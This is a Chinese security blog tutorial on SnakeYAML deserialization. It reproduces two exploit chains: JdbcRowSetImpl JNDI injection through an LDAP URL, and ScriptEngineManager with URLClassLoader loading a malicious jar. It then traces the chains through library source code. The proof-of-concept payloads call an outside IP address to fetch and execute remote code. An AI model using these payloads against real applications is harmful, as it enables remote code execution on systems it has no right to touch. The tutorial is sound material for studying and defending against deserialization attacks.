【Web】浅浅地聊SnakeYaml反序列化两条常见利用链

2024-03-06 23:12
文章标签 常见 两条 web 序列化 浅浅 地聊 snakeyaml

本文主要是介绍【Web】浅浅地聊SnakeYaml反序列化两条常见利用链，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

目录

关于Yaml

关于SnakeYaml

SnakeYaml反序列化利用

JdbcRowSetImpl链

ScriptEngineManager链 

复现

基本原理

继续深入

关于Yaml

学过SpringBoot开发的师傅都知道，YAML和 Properties 文件都是常见的配置文件格式，用于存储键值对数据。

这里举几个Yaml的例子回顾一下

# 示例 YAML 文件# 字符串和整数
name: John Doe
age: 30# 列表
languages:- Python- JavaScript- Java# 映射
address:street: 123 Main Streetcity: Anytownpostal_code: 12345# 嵌套结构
person:name: Aliceage: 25address:street: 456 Elm Streetcity: Somewherepostal_code: 54321

上面的例子体现了几个Yaml的特性：

使用 key: value 的格式表示键值对数据。
使用缩进表示层次结构，比如 languages 是一个列表，address 是一个映射。
支持注释，以 # 开头。
如何表示字符串、整数、列表和嵌套结构。

此外，在 YAML 中，方括号 [] 和双方括号 [[...]] 分别表示列表和嵌套列表的含义。

  1. 单方括号 [] 表示列表：

    • 在 YAML 中，单方括号 [] 表示一个简单的列表，其中可以包含一组项目。
    • 例如，items: [apple, banana, orange] 表示一个包含三个字符串元素的列表。

  2. 双方括号 [[...]] 表示嵌套列表：

    • 双方括号 [[...]] 表示一个嵌套的列表，即一个列表中包含另一个列表。
    • 这种结构用于表示更复杂的数据结构，其中内部列表中可以包含多个项目。
    • 在嵌套列表中，每对方括号表示一个新的列表层级。
    • 例如，nestedList: [[1, 2], [3, 4], [5, 6]] 表示一个包含三个子列表的父列表，每个子列表包含两个整数元素。

关于SnakeYaml

SnakeYAML 是 Java 中一个流行的 YAML 解析库，用于读取和生成 YAML 数据。

1.加载（Load）YAML 数据： 使用 SnakeYAML 的 load 方法可以将 YAML 数据加载到 Java 对象中。这个方法会将 YAML 格式的数据解析为对应的 Java 对象。

2.转储（Dump）Java 对象为 YAML 格式： 使用 SnakeYAML 的 dump 方法可以将 Java 对象转换为对应的 YAML 格式数据。

举例：

一个User Bean

package com.snake.demo;public class User {private String name;public int age;public User(String name, int age) {this.name = name;this.age = age;}public User() {System.out.println("Non Arg Constructor");}public String getName() {System.out.println("getName");return name;}public void setName(String name) {System.out.println("setName");this.name = name;}public int getAge() {System.out.println("getAge");return age;}public void setAge(int age) {System.out.println("setAge");this.age = age;}@Overridepublic String toString() {return "I am " + name + ", " + age + " years old";}
}

测试类

package com.snake.demo;import org.yaml.snakeyaml.Yaml;public class Main {public static void main(String[] args) {User user = new User("Z3r4y", 18);Yaml yaml = new Yaml();System.out.println(yaml.dump(user));String s = "!!com.snake.demo.User {age: 18, name: Z3r4y}";User user2 = yaml.load(s);System.out.println(user2);}
}

运行结果

getName
!!com.snake.demo.User {age: 18, name: Z3r4y}Non Arg Constructor
setName
I am Z3r4y, 18 years old

通过上述lab，我们至少可以得到以下两点结论：

①yaml反序列化时可以通过!!+全类名指定反序列化的类，反序列化过程中会实例化该类 

②四种属性修饰，private,protected,public,default，若属性设置为public，则不会调用对应的setter方法，当属性为public时，是通过反射对Field进行了set，而当属性为private时，是通过反射调用setName设置的值

SnakeYaml反序列化利用

SnakeYaml反序列化和fastjson反序列化一样都会调用setter，不过对于public修饰的成员不会调用其setter。

除此之外，SnakeYaml反序列化时还能调用该类的构造函数

于是乎便分别有了以下两种的利用

JdbcRowSetImpl链

调用JdbcRowSetImpl#setAutoCommit，这样就成功触发了JdbcRowSetImpl链,从而JNDI注入

先导pom依赖

<dependency><groupId>org.yaml</groupId><artifactId>snakeyaml</artifactId><version>1.27</version></dependency>

编写POC

package com.snake.demo;import org.yaml.snakeyaml.Yaml;public class POC1 {public static void main(String[] args) {String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://124.222.136.33:1337/#suibian, autoCommit: true}";Yaml yaml = new Yaml();yaml.load(poc);}
}

开一个恶意LDAP服务器

找个端口放恶意字节码

成功弹计算器

和FastJson反序列化原理一样的，不多解释，可以看这篇文章：【Web】速谈FastJson反序列化中JdbcRowSetImpl的利用

ScriptEngineManager链 

复现

javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行，底层是个SPI，关于SPI可以看看这篇文章，不多赘述：

【Web】浅浅地聊JDBC java.sql.Driver的SPI后门

【Web】浅聊JDBC的SPI机制是怎么实现的——DriverManager-CSDN博客

github上现成的利用ScriptEngineManager利用方式的exp:

GitHub - artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads

拿到手稍微小改下这个部分代码就可

运行下列命令生成个jar包

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

然后开个端口把恶意jar包放服务器上

运行这段代码，弹出计算器

package com.snake.demo;import org.yaml.snakeyaml.Yaml;public class POC2 {public static void main(String[] args) {String poc = "!!javax.script.ScriptEngineManager [\n" +"  !!java.net.URLClassLoader [[\n" +"    !!java.net.URL [\"http://124.222.136.33:1337/yaml-payload.jar\"]\n" +"  ]]\n" +"]";Yaml yaml = new Yaml();yaml.load(poc);}
}

基本原理

OK复现成功了，我们跟下调用链

首先看到javax.script.ScriptEngineManager的有参构造方法调用了init，并传入了一个ClassLoader，至于从哪传的，后面会讲，暂按下不表。

public ScriptEngineManager(ClassLoader loader) {init(loader);}

init方法进行一些初始化设置之后调用initEngines()

private void init(final ClassLoader loader) {globalScope = new SimpleBindings();engineSpis = new HashSet<ScriptEngineFactory>();nameAssociations = new HashMap<String, ScriptEngineFactory>();extensionAssociations = new HashMap<String, ScriptEngineFactory>();mimeTypeAssociations = new HashMap<String, ScriptEngineFactory>();initEngines(loader);}

initEngines方法，调用了getServiceLoader

 private void initEngines(final ClassLoader loader) {Iterator<ScriptEngineFactory> itr = null;try {ServiceLoader<ScriptEngineFactory> sl = AccessController.doPrivileged(new PrivilegedAction<ServiceLoader<ScriptEngineFactory>>() {@Overridepublic ServiceLoader<ScriptEngineFactory> run() {return getServiceLoader(loader);}});itr = sl.iterator();}

跟进getServiceLoader方法

private ServiceLoader<ScriptEngineFactory> getServiceLoader(final ClassLoader loader) {if (loader != null) {return ServiceLoader.load(ScriptEngineFactory.class, loader);} else {return ServiceLoader.loadInstalled(ScriptEngineFactory.class);}}

返回一个ServiceLoader<T>，根据这个可以获取一个指定了加载类为ScriptEngineFactory的迭代器，这也和我们生成恶意jar包的项目的META-INF/services目录下的文件名呼应

ok到这一步我们已经获得了一个指定了加载类为ScriptEngineFactory的迭代器

initEngines方法接着向下执行又看到了两个熟悉的方法hasNext()、next()

try {while (itr.hasNext()) {try {ScriptEngineFactory fact = itr.next();engineSpis.add(fact);} catch (ServiceConfigurationError err) {System.err.println("ScriptEngineManager providers.next(): "+ err.getMessage());if (DEBUG) {err.printStackTrace();}// one factory failed, but check other factories...continue;}}}

不多作赘余解释，这篇文章里有写：【Web】浅聊JDBC的SPI机制是怎么实现的——DriverManager-CSDN博客

总结来说就是：

hashNext用于获取全路径，并读取文件中的内容

next用于执行文件中对应的类，导致恶意类的动态加载，恶意静态代码块的执行，从而完成攻击

问题是，恶意类来自哪呢？是来自反序列化调用远程jar包

如何调用远程的jar包呢？只能说是由URLClassLoader和URL来具体操作的，我们不做具体讨论

原理这部分到此为止。

继续深入

我们先回到本源，来看看Yaml#load是如何操作

public <T> T load(String yaml) {return this.loadFromReader(new StreamReader(yaml), Object.class);
}

先是将我们的payload字符串存入StreamReader的stream中

public StreamReader(Reader reader) {this.pointer = 0;this.index = 0;this.line = 0;this.column = 0;this.name = "'reader'";this.dataWindow = new int[0];this.dataLength = 0;this.stream = reader;this.eof = false;this.buffer = new char[1025];
}

 OK，我们再回到loadFromReader()，其创建了一个Composer对象，并封装到constructor中

private Object loadFromReader(StreamReader sreader, Class<?> type) {Composer composer = new Composer(new ParserImpl(sreader), this.resolver, this.loadingConfig);this.constructor.setComposer(composer);return this.constructor.getSingleData(type);
}

跟一下this.constructor.getSingleData

代码中首先通过 composer 对象的 getSingleNode 方法获取一个节点（Node）对象。接着判断该节点是否为非空且不是表示空值的特殊标记。如果条件成立，则继续执行下面的逻辑，否则会返回一个表示空值的对象。

public Object getSingleData(Class<?> type) {Node node = this.composer.getSingleNode();if (node != null && !Tag.NULL.equals(node.getTag())) {if (Object.class != type) {node.setTag(new Tag(type));} else if (this.rootTag != null) {node.setTag(this.rootTag);}return this.constructDocument(node);} else {Construct construct = (Construct)this.yamlConstructors.get(Tag.NULL);return construct.construct(node);}
}

  接着调用constructDocument()

protected final Object constructDocument(Node node) {Object var3;try {Object data = this.constructObject(node);this.fillRecursive();var3 = data;}

跟constructObject

protected Object constructObject(Node node) {
    if (constructedObjects.containsKey(node)) {
        return constructedObjects.get(node);
    }
    return constructObjectNoCheck(node);
}

跟 constructObjectNoCheck

constructObjectNoCheck()中recursiveObjects值为空，所以不执行if，并通过add将node追加到其中，之后由于constructedObjects值也是空，所以三目运算执行" : "后边的内容

protected Object constructObjectNoCheck(Node node) {
    if (recursiveObjects.contains(node)) {
        throw new ConstructorException(null, null, "found unconstructable recursive node",
                node.getStartMark());
    }
    recursiveObjects.add(node);
    Construct constructor = getConstructor(node);
    Object data = (constructedObjects.containsKey(node)) ? constructedObjects.get(node)
            : constructor.construct(node);

node放入recursiveObjects，进入constructor.construct(node)

public Object construct(Node node) {
    try {
        return getConstructor(node).construct(node);
    } catch (ConstructorException e) {
        throw e;
    } catch (Exception e) {
        throw new ConstructorException(null, null, "Can't construct a java object for "
                + node.getTag() + "; exception=" + e.getMessage(), node.getStartMark(), e);
    }
}

再跟construct

for (Node argumentNode : snode.getValue()) {
    Class<?> type = c.getParameterTypes()[index];
    // set runtime classes for arguments
    argumentNode.setType(type);
    argumentList[index++] = constructObject(argumentNode);
}

遍历节点，调用constructObject()又给循环回去

上面的POC有5个node，循环5次。

先后进行了URL、URLClassLoader、ScriptEngineManager的实例化

注意这里实例化是有传参数(argumentList)的，把前一个类的实例化对象当作下个类构造器的参数。

最后进入ScriptEngineManager的有参构造器，连接上了上文的SPI机制。

这篇关于【Web】浅浅地聊SnakeYaml反序列化两条常见利用链的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/781672。

相关文章

Java controller接口出入参时间序列化转换操作方法(两种)

Java controller接口出入参时间序列化转换操作方法(两种)

《Javacontroller接口出入参时间序列化转换操作方法(两种)》：本文主要介绍Javacontroller接口出入参时间序列化转换操作方法,本文给大家列举两种简单方法,感兴趣的朋友一起看... 目录方式一、使用注解方式二、统一配置场景：在controller编写的接口，在前后端交互过程中一般都会涉及
阅读更多...
Java Spring 中 @PostConstruct 注解使用原理及常见场景

Java Spring 中 @PostConstruct 注解使用原理及常见场景

《JavaSpring中@PostConstruct注解使用原理及常见场景》在JavaSpring中,@PostConstruct注解是一个非常实用的功能,它允许开发者在Spring容器完全初... 目录一、@PostConstruct 注解概述二、@PostConstruct 注解的基本使用2.1 基本代
阅读更多...
SQL中redo log 刷⼊磁盘的常见方法

SQL中redo log 刷⼊磁盘的常见方法

《SQL中redolog刷⼊磁盘的常见方法》本文主要介绍了SQL中redolog刷⼊磁盘的常见方法,将redolog刷入磁盘的方法确保了数据的持久性和一致性,下面就来具体介绍一下,感兴趣的可以了解... 目录Redo Log 刷入磁盘的方法Redo Log 刷入磁盘的过程代码示例（伪代码）在数据库系统中，r
阅读更多...
C++如何通过Qt反射机制实现数据类序列化

C++如何通过Qt反射机制实现数据类序列化

《C++如何通过Qt反射机制实现数据类序列化》在C++工程中经常需要使用数据类,并对数据类进行存储、打印、调试等操作,所以本文就来聊聊C++如何通过Qt反射机制实现数据类序列化吧... 目录设计预期设计思路代码实现使用方法在 C++ 工程中经常需要使用数据类，并对数据类进行存储、打印、调试等操作。由于数据类
阅读更多...
SQL BETWEEN 的常见用法小结

SQL BETWEEN 的常见用法小结

《SQLBETWEEN的常见用法小结》BETWEEN操作符是SQL中非常有用的工具,它允许你快速选取某个范围内的值,本文给大家介绍SQLBETWEEN的常见用法,感兴趣的朋友一起看看吧... 在SQL中，BETWEEN是一个操作符，用于选取介于两个值之间的数据。它包含这两个边界值。BETWEEN操作符常用
阅读更多...
python中各种常见文件的读写操作与类型转换详细指南

python中各种常见文件的读写操作与类型转换详细指南

《python中各种常见文件的读写操作与类型转换详细指南》这篇文章主要为大家详细介绍了python中各种常见文件（txt,xls,csv,sql,二进制文件）的读写操作与类型转换,感兴趣的小伙伴可以跟... 目录1.文件txt读写标准用法1.1写入文件1.2读取文件2. 二进制文件读取3. 大文件读取3.1
阅读更多...
C++中初始化二维数组的几种常见方法

C++中初始化二维数组的几种常见方法

《C++中初始化二维数组的几种常见方法》本文详细介绍了在C++中初始化二维数组的不同方式,包括静态初始化、循环、全部为零、部分初始化、std::array和std::vector,以及std::vec... 目录1. 静态初始化2. 使用循环初始化3. 全部初始化为零4. 部分初始化5. 使用 std::a
阅读更多...
前端下载文件时如何后端返回的文件流一些常见方法

前端下载文件时如何后端返回的文件流一些常见方法

《前端下载文件时如何后端返回的文件流一些常见方法》：本文主要介绍前端下载文件时如何后端返回的文件流一些常见方法,包括使用Blob和URL.createObjectURL创建下载链接,以及处理带有C... 目录1. 使用 Blob 和 URL.createObjectURL 创建下载链接例子：使用 Blob
阅读更多...
如何配置Spring Boot中的Jackson序列化

如何配置Spring Boot中的Jackson序列化

《如何配置SpringBoot中的Jackson序列化》在开发基于SpringBoot的应用程序时,Jackson是默认的JSON序列化和反序列化工具,本文将详细介绍如何在SpringBoot中配置... 目录配置Spring Boot中的Jackson序列化1. 为什么需要自定义Jackson配置？2.
阅读更多...
C++ vector的常见用法超详细讲解

C++ vector的常见用法超详细讲解

《C++vector的常见用法超详细讲解》：本文主要介绍C++vector的常见用法,包括C++中vector容器的定义、初始化方法、访问元素、常用函数及其时间复杂度,通过代码介绍的非常详细,... 目录1、vector的定义2、vector常用初始化方法1、使编程用花括号直接赋值2、使用圆括号赋值3、ve
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2